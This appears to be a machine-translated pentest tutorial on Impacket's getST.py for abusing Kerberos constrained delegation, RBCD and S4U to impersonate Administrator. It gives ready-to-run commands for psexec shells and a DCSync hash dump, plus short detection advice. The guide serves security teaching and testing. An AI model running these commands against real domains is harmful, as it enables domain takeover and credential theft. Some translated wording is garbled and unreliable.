tools

getST.py Impacket: S4U, RBCD and Constrained Delegation

getST.py Impacket: S4U, RBCD and Constrained Delegation

Impacket's getST.py guide for obtaining Kerberos Service Tickets with S4U2Self, S4U2Proxy, RBCD, and constrained delegation. Payload and errors for AD pentests.

  • Posted on 2026-07-24
  • Reading time: 8 min

getST.py: Service Ticket, S4U, and Kerberos Delegation Abuse #

getST.py is part of Packet and requests a Kerberos Service Ticket, saving it as a file .ccacheIn the basic case, you only need it to obtain a ticket to a service with your credentials. However, when you control an account configured for Constrained Delegation or authorized via RBCD, getST.py can request a Service Ticket on behalf of another user towards a specific service, leveraging S4U2Self and S4U2Proxy — without knowing the impersonated user's password, but only if those delegation prerequisites actually exist.

Official reference: fortra/impacket — getST.py

TGT, TGS and Service Ticket — who's who #

getST.py always produces a Service Ticket (also called TGS), the last step of the flow Kerberos. If you are not clear about what distinguishes a TGT from a Service Ticket, the summary is: the TGT is the ticket you get upon login and use to request other tickets from the KDC; the Service Ticket is the one specific to a single service (CIFS, LDAP, HOST...), and is the one you need to actually authenticate to a resource.

S4U2Self and S4U2Proxy #

To understand getST.py you need to understand the two Kerberos extension mechanisms it uses (documented in MS-SFU ):

S4U2Self (Service for User to Self): allows a service principal to ask the KDC for a Service Ticket towards your service, on behalf of another user (MS-SFU §3.2.5.1). In classical constrained delegation, the flag TrustedToAuthForDelegation enables the so-called protocol transition, which allows you to obtain a forwardable ticket via S4U2Self for any user — even one who has never authenticated to the service.

S4U2Proxy (Service for User to Proxy): allows the account to present that ticket (obtained via S4U2Self, or provided as an evidence ticket) to the KDC and exchange it for an ST to a different service, among those configured in msDS-AllowedToDelegateTo (Constrained Delegation) or msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD). In the RBCD stream, Microsoft confirms that the KDC handles the protocol transition as if the related flag was already enabled on the target resource, even without TrustedToAuthForDelegation on the delegating account.

text
[getST con -impersonate]
     │
     ├─ S4U2Self → ST "Administrator → svc_web"  (forwardable)
     │
     └─ S4U2Proxy → ST "Administrator → CIFS/DC01" (usabile)

Delegation Scenario Matrix #

ScreenwritingConfiguration requiredDeparture ticketgetST.py Options
Normal STNo delegationAccount TGT-spn
KCD with protocol transitionTrustedToAuthForDelegation + msDS-AllowedToDelegateToService Account TGT-impersonate -spn
KCD Kerberos-onlymsDS-AllowedToDelegateTo, without protocol transitionUser forwardable ST to front-end service-additional-ticket -impersonate -spn
RBCDmsDS-AllowedToActOnBehalfOfOtherIdentity on targetTGT of the controlled account-impersonate -spn
Only S4U2SelfAccount with SPN and usable credentialsService Account TGT-self -impersonate
S4U2Self + U2USpecific scenarioTGT-self -u2u -impersonate
dMSAWindows Server 2025+TGT-dmsa -self -impersonate

Syntax and options #

bash
impacket-getST [opzioni] dominio/account[:password|$]
OptionDescription
-spn SPNTarget Service SPN — Required except when using -self
-impersonate UTENTEUser to impersonate via S4U
-altservice SPNReplaces the SPN in the ticket already obtained
-selfOnly S4U2Self, without S4U2Proxy
-additional-ticket ticket.ccacheUse a forwardable ST as evidence ticket instead of generating it via S4U2Self — required for RBCD + KCD Kerberos-only
-dmsaRequires keys for a Delegated Managed Service Account (Windows Server 2025+)
-u2uUser-to-User Request — only works in combination with -self o -impersonate, not alone
-renewRenew the TGT used for authentication (requires -spn krbtgt/DOMINIO.FQDN)
-force-forwardableForce S4U2Self ticket to be forwardable — advanced option, see below
-hashes LM:NTPass the Hash
-aesKey KEYAccount AES key (128 or 256 bits)
-kUse the TGT from the current cache (KRB5CCNAME)
-no-passWith -k, does not ask for password
-dc-ip IPDomain Controller IP
-debugVerbose output

Scenario 0 — Standard Service Ticket Request #

It is the primary function of the tool, without any impersonation: password, hash, AES or TGT key in the cache → TGS request → saving in .ccache.

bash
# Con password
impacket-getST -dc-ip 10.10.10.5 -spn cifs/DC01.corp.local corp.local/user:Password123

# Con NT hash
impacket-getST -dc-ip 10.10.10.5 -spn cifs/DC01.corp.local -hashes :NThash corp.local/user

# Da un TGT già presente nel ccache
export KRB5CCNAME=user.ccache
impacket-getST -k -no-pass -dc-ip 10.10.10.5 -spn cifs/DC01.corp.local corp.local/user

Scenario 1 — Constrained Delegation with protocol transition #

Prerequisite: you have the credentials of an account with TrustedToAuthForDelegation enabled and msDS-AllowedToDelegateTo configured. You can find it with blood hound (edge ​​“Allowed to Delegate”) or with PowerView/ldapsearch.

bash
# Enumerazione: trova account con constrained delegation
Get-DomainUser -TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo
Get-DomainComputer -TrustedToAuth | Select DnsHostName, msDS-AllowedToDelegateTo

# getST — S4U2Self + S4U2Proxy, impersona Administrator su CIFS/DC01
impacket-getST -dc-ip 10.10.10.5 \
  -spn cifs/DC01.corp.local \
  -impersonate Administrator \
  corp.local/svc_web:Password123

# Con NT hash invece di password
impacket-getST -dc-ip 10.10.10.5 \
  -spn cifs/DC01.corp.local \
  -impersonate Administrator \
  -hashes :NThash \
  corp.local/svc_web

# Con chiave AES256 — utile quando l'account supporta AES e non hai la password in chiaro
impacket-getST -dc-ip 10.10.10.5 \
  -spn cifs/DC01.corp.local \
  -impersonate Administrator \
  -aesKey AES256keyQUI \
  corp.local/svc_web

# Usa il ticket ottenuto
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass corp.local/Administrator@DC01.corp.local
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local

Scenario 2 — Kerberos-only KCD with -additional-ticket #

When the service account has constrained delegation configured but without protocol transition (Use Kerberos only mode in AD), you cannot directly generate a forwardable S4U2Self for an arbitrary user. Instead, you must have a forwardable Service Ticket actually obtained by the user to the front-end service and provide it as evidence ticket:

bash
impacket-getST -dc-ip 10.10.10.5 \
  -additional-ticket Administrator@http-WEB01.corp.local.ccache \
  -spn cifs/FILE01.corp.local \
  -impersonate Administrator \
  corp.local/svc_web:Password123

The ticket passed with -additional-ticket It must be consistent with the front-end service and actually usable as an evidence ticket — not just any ticket.

Scenario 3 — RBCD (Resource-Based Constrained Delegation) #

Prerequisite: you wrote msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object, typically after exploiting GenericWrite or GenericAll on a computer account. The full RBCD attack is in RBCD.

bash
# Step 1 — Crea un computer account controllato (se non ne hai già uno)
impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'AttPass123!' \
  -dc-ip 10.10.10.5 corp.local/lowpriv:pass

# Step 2 — Configura RBCD con rbcd.py: ATTACKER$ diventa trusted per delegare su TARGET$
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' \
  -action write -dc-ip 10.10.10.5 corp.local/lowpriv:Password123

# Verifica la configurazione
impacket-rbcd -delegate-to 'TARGET$' -action read -dc-ip 10.10.10.5 corp.local/lowpriv:Password123

# Step 3 — getST con S4U2Self + S4U2Proxy via RBCD
impacket-getST -dc-ip 10.10.10.5 \
  -spn cifs/TARGET.corp.local \
  -impersonate Administrator \
  corp.local/'ATTACKER$':AttPass123!

# Step 4 — Usa il ticket
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass corp.local/Administrator@TARGET.corp.local
impacket-psexec -k -no-pass corp.local/Administrator@TARGET.corp.local

rbcd.py manages directly msDS-AllowedToActOnBehalfOfOtherIdentity with four actions: read, write, remove, flush. Alternatively you can configure the same attribute with bloodyAD or PowerView.

Using a TGT obtained via Shadow Credentials #

Prerequisite: you wrote msDS-KeyCredentialLink on an account (Shadow Credentials) and obtained the certificate .pfx.

getST.py does not support a flag -pfx-file — does not exist in the tool. The certificate must first be converted into a TGT using PKINIT (with Certipy), and only then pass the resulting cache to getST:

bash
# Ottieni il TGT tramite PKINIT usando il certificato da Shadow Credentials
certipy auth -pfx target.pfx -dc-ip 10.10.10.5

# Usa il TGT generato
export KRB5CCNAME=target.ccache

# Richiedi uno ST come l'account del certificato
impacket-getST -k -no-pass -dc-ip 10.10.10.5 -spn cifs/DC01.corp.local corp.local/target

Shadow Credentials It doesn't automatically give you the Administrator impersonation — Get the identity of the account associated with the certificate. You can then use -impersonate Administrator only if that account also has an exploitable delegation configuration (go back to Scenario 1 or 3).

Scenario 4 — -self (S4U2Self standalone) #

Only S4U2Self without S4U2Proxy: Get a service ST to itself, impersonating a user. Useful for partial delegation cases or when you only need the first step.

bash
impacket-getST -dc-ip 10.10.10.5 \
  -self \
  -impersonate Administrator \
  -altservice cifs/target.corp.local \
  -k -no-pass \
  corp.local/machine$

-u2u — S4U2Self + User-to-User #

-u2u It does not allow you to request a normal User-to-User ticket by itself: in the current getST.py code it only works in combination with S4U (-self o -impersonate).

bash
impacket-getST -dc-ip 10.10.10.5 \
  -self \
  -u2u \
  -impersonate Administrator \
  corp.local/service_account:Password123

-altservice — Service Substitution #

-altservice do not ask the KDC for a new ticket for an arbitrary service: change thesname (the service name) already present in the ticket obtained. This only works when the replacement service can decrypt the same ticket—in practice, when the two SPNs belong to the same account/computer.

bash
# Delegation consentita solo verso HOST/DC01, ma il client finale (psexec) usa SMB
impacket-getST -dc-ip 10.10.10.5 \
  -spn host/DC01.corp.local \
  -altservice cifs/DC01.corp.local \
  -impersonate Administrator \
  corp.local/svc_web:Password123

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local

psexec.py initially communicates via SMB, so it is cifs/HOST the relevant ticket for it—not the other way around. Service substitution doesn't allow you to freely move a ticket to a different host or account: the target service must be able to decrypt that ticket with its own key.

dMSA — Delegated Managed Service Accounts #

Recent versions of getST.py support -dmsa to request the current and previous keys of a Delegated Managed Service Account, functionality introduced with Windows Server 2025 — requires a compatible environment, it is not another name for classic constrained delegation.

bash
impacket-getST -k -no-pass \
  -self \
  -dmsa \
  -impersonate 'dmsa$' \
  corp.local/user

The tool prints the current and previous dMSA keys, which can be used to impersonate the account the dMSA replaces.

-renew — Renewal of the TGT #

Secondary function: Set Kerberos option RENEW to renew the TGT used for authentication. It must be used with -spn set to krbtgt/DOMINIO.FQDN:

bash
export KRB5CCNAME=user.ccache
impacket-getST -k -no-pass -renew -spn krbtgt/CORP.LOCAL corp.local/user

Which SPN to choose #

The requested ticket must match the protocol you'll use later—it's not just "a ticket for the computer": an SPN identifies a specific service instance and associates it with the account that owns the key used to encrypt it, so the service class must match what the client expects.

SPNServiceCommon use
cifs/HOSTSMBpsexec, secretsdump, share access
ldap/DCLDAPLDAP Queries and Changes, DCSync
HTTP/HOSTHTTP/WinRMWeb applications, some WinRM workflows
MSSQLSvc/HOST:PORTASQL Servermssqlclient.py
HOST/HOSTGeneric Hosting ServicesSome RPC protocols and Windows services
RPCSS/HOSTDCOM Endpoint MapperDCOM Workflow
WSMAN/HOSTWS-ManagementWinRM, depending on the client

Complete workflow — from BloodHound to shell #

bash
# 1. BloodHound identifica: svc_sql è TrustedToAuth per cifs/DC01.corp.local
# 2. Dumpa l'hash di svc_sql (es. con Mimikatz o secretsdump su un host compromesso)

# 3. getST — impersona Administrator su CIFS/DC01
impacket-getST -dc-ip 10.10.10.5 \
  -spn cifs/DC01.corp.local \
  -impersonate Administrator \
  -hashes :NThashSvcSql \
  corp.local/svc_sql

# 4. Verifica ticket
export KRB5CCNAME=Administrator.ccache
klist

# 5. Accedi come Administrator
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local

# 6. DCSync — dump tutti gli hash (vedi [DCSync](https://hackita.it/articoli/dcsync/))
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/Administrator@DC01.corp.local

Common mistakes #

ErrorProbable causeVerifica
KDC_ERR_BADOPTIONDelegation not allowed, evidence ticket invalid/not forwardableCheck it out msDS-AllowedToDelegateTo, KCD type and AD attributes
KRB_AP_ERR_MODIFIEDTicket encrypted with a key other than the service key, incorrect or duplicate SPNCheck it out setspn -Q, SPN owner account and requested service class
KDC_ERR_S_PRINCIPAL_UNKNOWNThe account does not have constrained delegation permissions, or the impersonated user does not exist.Check SPN with setspn -Q or BloodHound
KDC_ERR_ETYPE_NOSUPPEncryption not supportedTry with -aesKey instead of RC4 hash, verify msDS-SupportedEncryptionTypes
KRB_AP_ERR_SKEWExcessive time difference with DCSynchronize your clock
KDC_ERR_POLICYKerberos policy, user in Protected Users, or delegation not allowedCheck protected groups and account flags
KDC_ERR_C_PRINCIPAL_UNKNOWNNon-existent user or incorrect realmVerify username and domain
KRB_AP_ERR_NOT_USTicket presented to the wrong serviceCheck SPN and end client
FQDN errorIP instead of nameKerberos requires FQDN, not IP

-force-forwardable This is not a generic fix for “non-forwardable tickets”: it's an advanced option that uses the specified account key (ideally a hash or AES key) to force the forwardable flag on the S4U2Self ticket, which is related to the CVE-2020-17049 technique. It allows you to impersonate Protected Users and bypass some Kerberos-only restrictions, but the outcome depends on patching and KDC configuration—it's not meant to be a universal workaround.

Detection and mitigation #

What people who monitor you are looking at, in short:

  • Abnormal TGS requests in Kerberos events (4769) — S4U2Self and S4U2Proxy generate recognizable patterns, especially when the impersonated user is a privileged account that does not normally authenticate from that host
  • Control of msDS-AllowedToDelegateTo — periodic audit of which accounts have delegate permissions configured, often forgotten after a project
  • Control of msDS-AllowedToActOnBehalfOfOtherIdentity — same goes for RBCD, especially on recently created computer objects
  • Accounts marked as sensitive (Account is sensitive and cannot be delegated, Protected Users group) — block delegation to privileged users regardless of the delegating account configuration
  • Removing unnecessary SPNs and delegations — the simplest and most effective mitigation remains not to leave delegation configurations on accounts that do not need them

Cheat sheet #

bash
# Richiesta standard
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain domain/user:pass

# Constrained Delegation (protocol transition)
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain -impersonate Administrator \
  domain/svc_account:pass

# KCD Kerberos-only con evidence ticket
impacket-getST -dc-ip DC_IP -additional-ticket evidence.ccache -spn cifs/TARGET.domain \
  -impersonate Administrator domain/svc_account:pass

# RBCD
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain -impersonate Administrator \
  domain/'ATTACKER$':AttPass123!

# Con NT hash
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain -impersonate Administrator \
  -hashes :NThash domain/svc_account

# Con AES key
impacket-getST -dc-ip DC_IP -spn cifs/TARGET.domain -impersonate Administrator \
  -aesKey AES256key domain/svc_account

# Service substitution
impacket-getST -dc-ip DC_IP -spn host/TARGET.domain -altservice cifs/TARGET.domain \
  -impersonate Administrator domain/svc_account:pass

# S4U2Self standalone
impacket-getST -dc-ip DC_IP -self -impersonate Administrator \
  -altservice cifs/TARGET.domain -k -no-pass domain/machine$

# dMSA
impacket-getST -k -no-pass -self -dmsa -impersonate 'dmsa$' domain/user

# Rinnovo TGT
impacket-getST -k -no-pass -renew -spn krbtgt/DOMAIN.FQDN domain/user

# Configurare RBCD
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip DC_IP domain/user:pass

# Usa ticket ottenuto
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain/Administrator@TARGET.domain
impacket-secretsdump -k -no-pass domain/Administrator@DC.domain

FAQ #

Does getST.py always require constrained delegation? No. The basic function (Scenario 0) requires only valid credentials and an SPN — no delegation is necessary. Delegation is only needed for impersonation scenarios with -impersonate.

Difference between -self e -impersonate? -impersonate alone does S4U2Self + S4U2Proxy (you get a ticket usable towards the final service). -self limits the operation to S4U2Self only, stopping at the ticket to the impersonating service itself, without proxying to the real target.

When I use -additional-ticket? Only when the service account has constrained delegation configured in "Kerberos only" mode (without protocol transition). In that case, you cannot generate a forwardable S4U2Self from scratch: you must provide a forwardable ST already obtained by the user to the front-end service.

Why is the ticket not forwardable? Usually because the starting TGT didn't have the forwardable flag, or the account doesn't have protocol transition enabled. -force-forwardable It can bypass some of these cases but requires the account's cryptographic material and does not always work (see CVE-2020-17049).

How do I verify the ticket I received? export KRB5CCNAME=file.ccache followed by klist — check principal, service and flags (in particular forwardable).

Related Articles #

For use in authorized environments only.

#constrained-delegation #delegation-abuse #kerberos-delegation #ccache #s4u2self #s4u2proxy

leave a message

I'm not a robot